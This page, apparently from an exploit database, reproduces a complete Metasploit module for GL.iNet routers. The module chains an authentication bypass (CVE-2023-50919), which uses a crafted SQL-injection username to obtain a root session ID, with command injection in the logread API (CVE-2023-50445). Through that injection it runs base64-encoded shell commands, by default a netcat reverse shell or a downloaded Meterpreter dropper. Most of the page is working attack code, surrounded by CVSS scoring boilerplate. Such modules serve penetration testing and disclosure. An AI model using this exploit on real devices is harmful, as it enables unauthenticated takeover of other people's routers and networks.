Lucene search

K
zdtMetasploit1337DAY-ID-39267
HistoryJan 24, 2024 - 12:00 a.m.

GL.iNet Unauthenticated Remote Command Execution Exploit

2024-01-2400:00:00
metasploit
0day.today
123
gl.inet
network products
command injection
vulnerability
metasploit
post-authentication
admin-token
sessionid
sid
authentication bypass
nginx
lua pattern matching
sql injection
retrieval
products vulnerability

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.2 High

AI Score

Confidence

Low

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.001 Low

EPSS

Percentile

42.7%

A command injection vulnerability exists in multiple GL.iNet network products, allowing an attacker to inject and execute arbitrary shell commands via JSON parameters at the gl_system_log and gl_crash_log interface in the logread module. This Metasploit exploit requires post-authentication using the Admin-Token cookie/sessionID (SID), typically stolen by the attacker. However, by chaining this exploit with vulnerability CVE-2023-50919, one can bypass the Nginx authentication through a Lua string pattern matching and SQL injection vulnerability. The Admin-Token cookie/SID can be retrieved without knowing a valid username and password. Many products are vulnerable.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'digest/md5'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'GL.iNet Unauthenticated Remote Command Execution via the logread module.',
        'Description' => %q{
          A command injection vulnerability exists in multiple GL.iNet network products, allowing an attacker
          to inject and execute arbitrary shell commands via JSON parameters at the `gl_system_log` and `gl_crash_log`
          interface in the `logread` module.
          This exploit requires post-authentication using the `Admin-Token` cookie/sessionID (`SID`), typically stolen
          by the attacker.
          However, by chaining this exploit with vulnerability CVE-2023-50919, one can bypass the Nginx authentication
          through a `Lua` string pattern matching and SQL injection vulnerability. The `Admin-Token` cookie/`SID` can be
          retrieved without knowing a valid username and password.

          The following GL.iNet network products are vulnerable:
          - A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A: v4.0.0 < v4.5.0;
          - MT6000: v4.5.0 - v4.5.3;
          - MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300: v4.3.7;
          - E750/E750V2, MV1000: v4.3.8;
          - X3000: v4.0.0 - v4.4.2;
          - XE3000: v4.0.0 - v4.4.3;
          - SFT1200: v4.3.6;
          - and potentially others (just try ;-)

          NOTE: Staged Meterpreter payloads might core dump on the target, so use stage-less Meterpreter payloads
          when using the Linux Dropper target.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor
          'Unknown', # Discovery of the vulnerability CVE-2023-50445
          'DZONERZY' # Discovery of the vulnerability CVE-2023-50919

        ],
        'References' => [
          ['CVE', '2023-50445'],
          ['CVE', '2023-50919'],
          ['URL', 'https://attackerkb.com/topics/3LmJ0d7rzC/cve-2023-50445'],
          ['URL', 'https://attackerkb.com/topics/LdqSuqHKOj/cve-2023-50919'],
          ['URL', 'https://libdzonerzy.so/articles/from-zero-to-botnet-glinet.html'],
          ['URL', 'https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/Using%20Shell%20Metacharacter%20Injection%20via%20API.md']
        ],
        'DisclosureDate' => '2023-12-10',
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_MIPSLE, ARCH_MIPSBE, ARCH_ARMLE, ARCH_AARCH64],
        'Privileged' => true,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_netcat'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_MIPSLE, ARCH_MIPSBE, ARCH_ARMLE, ARCH_AARCH64],
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => ['curl', 'wget', 'echo', 'printf', 'bourne'],
              'Linemax' => 900,
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/mipsbe/meterpreter_reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options([
      OptString.new('SID', [false, 'Session ID'])
    ])
  end

  def vuln_version?
    @glinet = { 'model' => nil, 'firmware' => nil, 'arch' => nil }
    # check first with version 4.x api call
    post_data = {
      jsonrpc: '2.0',
      id: rand(1000..9999),
      method: 'call',
      params: [
        '',
        'ui',
        'check_initialized',
        {}
      ]
    }.to_json

    res = send_request_cgi({
      'method' => 'POST',
      'ctype' => 'text/json',
      'uri' => normalize_uri(target_uri.path, 'rpc'),
      'data' => post_data.to_s
    })
    if res && res.code == 200 && res.body.include?('result')
      res_json = res.get_json_document
      unless res_json.blank?
        @glinet['model'] = res_json['result']['model']
        @glinet['firmware'] = res_json['result']['firmware_version']
      end
    else
      # check with version 3.x api call. These versions are NOT vulnerable
      res = send_request_cgi({
        'method' => 'GET',
        'ctype' => 'application/x-www-form-urlencoded',
        'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'api', 'router', 'hello')
      })
      if res && res.code == 200 && res.body.include?('model') && res.body.include?('version')
        res_json = res.get_json_document
        unless res_json.blank?
          @glinet['model'] = res_json['model']
          @glinet['firmware'] = res_json['version']
        end
      end
    end

    # check for the vulnerable models and firmware versions
    case @glinet['model']
    when 'sft1200'
      @glinet['arch'] = 'mipsle'
      return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.6')
    when 'ar750', 'ar750s', 'ar300m', 'ar300m16'
      @glinet['arch'] = 'mipsbe'
      return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.7')
    when 'mt300n-v2', 'mt1300'
      @glinet['arch'] = 'mipsle'
      return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.7')
    when 'ap1300', 'b1300'
      @glinet['arch'] = 'armle'
      return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.7')
    when 'e750', 'e750v2'
      @glinet['arch'] = 'mipsbe'
      return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.8')
    when 'mv1000'
      @glinet['arch'] = 'armle'
      return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.8')
    when 'ax1800', 'axt1800', 'a1300'
      @glinet['arch'] = 'armle'
      return Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0') && Rex::Version.new(@glinet['firmware']) < Rex::Version.new('4.5.0')
    when 'mt2500', 'mt2500a', 'mt3000'
      @glinet['arch'] = 'aarch64'
      return Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0') && Rex::Version.new(@glinet['firmware']) < Rex::Version.new('4.5.0')
    when 'mt6000'
      @glinet['arch'] = 'aarch64'
      return Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.5.0') && Rex::Version.new(@glinet['firmware']) <= Rex::Version.new('4.5.3')
    when 'x3000'
      @glinet['arch'] = 'aarch64'
      return Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0') && Rex::Version.new(@glinet['firmware']) <= Rex::Version.new('4.4.2')
    when 'xe3000'
      @glinet['arch'] = 'aarch64'
      return Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0') && Rex::Version.new(@glinet['firmware']) <= Rex::Version.new('4.4.3')
    end
    @glinet['arch'] = 'n/a'
    return false
  end

  def auth_bypass
    # Check if datastore['SID'] is set
    return datastore['SID'] unless datastore['SID'].blank?

    # Exploit CVE-2023-50919 to retrieve the SID without valid username and password.
    # Send an RPC request calling the challenge method, which will return a random nonce,
    # the selected root user’s salt, and the crypt’s algorithm to hash the password.
    post_data = {
      jsonrpc: '2.0',
      id: rand(1000..9999),
      method: 'challenge',
      params: {
        username: 'root'
      }
    }.to_json

    res = send_request_cgi({
      'method' => 'POST',
      'ctype' => 'text/json',
      'uri' => normalize_uri(target_uri.path, 'rpc'),
      'data' => post_data.to_s
    })
    if res && res.code == 200 && res.body.include?('nonce')
      res_json = res.get_json_document
      unless res_json.blank?
        nonce = res_json['result']['nonce']
      end
    else
      fail_with(Failure::NotFound, 'Getting the random nonce failed.')
    end
    # Perform REGEX to lookup uid field from /etc/shadow to be used as password with manipulated root username
    # Use the SQL injection part to lookup the ACLs for root stored in sqlite db
    # Create the password hash which is the md5 of the concatenation of the user, password, and the retrieved nonce
    username = "roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+"
    pw = '0'
    hash = Digest::MD5.hexdigest("#{username}:#{pw}:#{nonce}")

    # Login with the password hash and obtain the SessionID (SID)
    post_data = {
      jsonrpc: '2.0',
      id: rand(1000..9999),
      method: 'login',
      params: {
        username: username.to_s,
        hash: hash.to_s
      }
    }.to_json

    res = send_request_cgi({
      'method' => 'POST',
      'ctype' => 'text/json',
      'uri' => normalize_uri(target_uri.path, 'rpc'),
      'data' => post_data.to_s
    })
    if res && res.code == 200 && res.body.include?('sid')
      res_json = res.get_json_document
      unless res_json.blank?
        sid = res_json['result']['sid']
      end
    else
      fail_with(Failure::NotFound, 'Retrieving the SessionID (SID) failed.')
    end
    return sid
  end

  def execute_command(cmd, _opts = {})
    payload = Base64.strict_encode64(cmd)
    cmd = "echo #{payload}|openssl enc -base64 -d -A|sh"
    post_data = {
      jsonrpc: '2.0',
      id: rand(1000..9999),
      method: 'call',
      params: [
        @sid.to_s,
        'logread',
        'get_system_log',
        {
          lines: '',
          module: "|#{cmd}"
        }
      ]
    }.to_json

    return send_request_cgi({
      'method' => 'POST',
      'ctype' => 'text/json',
      'cookie' => "Admin-Token=#{@sid}",
      'uri' => normalize_uri(target_uri.path, 'rpc'),
      'data' => post_data.to_s
    })
  end

  def check
    print_status("Checking if #{peer} can be exploited.")
    # Check if target is a GL.iNet network device and the firmware version is vulnerable
    return CheckCode::Vulnerable("Product info: #{@glinet['model']}|#{@glinet['firmware']}|#{@glinet['arch']}") if vuln_version?

    unless @glinet['firmware'].nil?
      # GL.iNet network devices with firmware version 3.x that are safe from this exploit
      return CheckCode::Safe("Product info: #{@glinet['model']}|#{@glinet['firmware']}|#{@glinet['arch']}") if Rex::Version.new(@glinet['firmware']) < Rex::Version.new('4.0.0')

      # GL.iNet network devices with a firmware version 4.x or higher which still could be vulnerable unless the architecture is not available (n/a)
      if @glinet['arch'] != 'n/a' && (Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0'))
        return CheckCode::Safe("Product info: #{@glinet['model']}|#{@glinet['firmware']}|#{@glinet['arch']}")
      end
      return CheckCode::Detected("Product info: #{@glinet['model']}|#{@glinet['firmware']}|#{@glinet['arch']}") if Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0')
    end
    # No GL.iNet network device or not reachable
    CheckCode::Unknown('No GL.iNet network device or device is not responding.')
  end

  def exploit
    @sid = auth_bypass
    print_status("SID: #{@sid}")
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      # Don't check the response here since the server won't respond
      # if the payload is successfully executed.
      execute_cmdstager({ linemax: target.opts['Linemax'] })
    end
  end
end

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.2 High

AI Score

Confidence

Low

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.001 Low

EPSS

Percentile

42.7%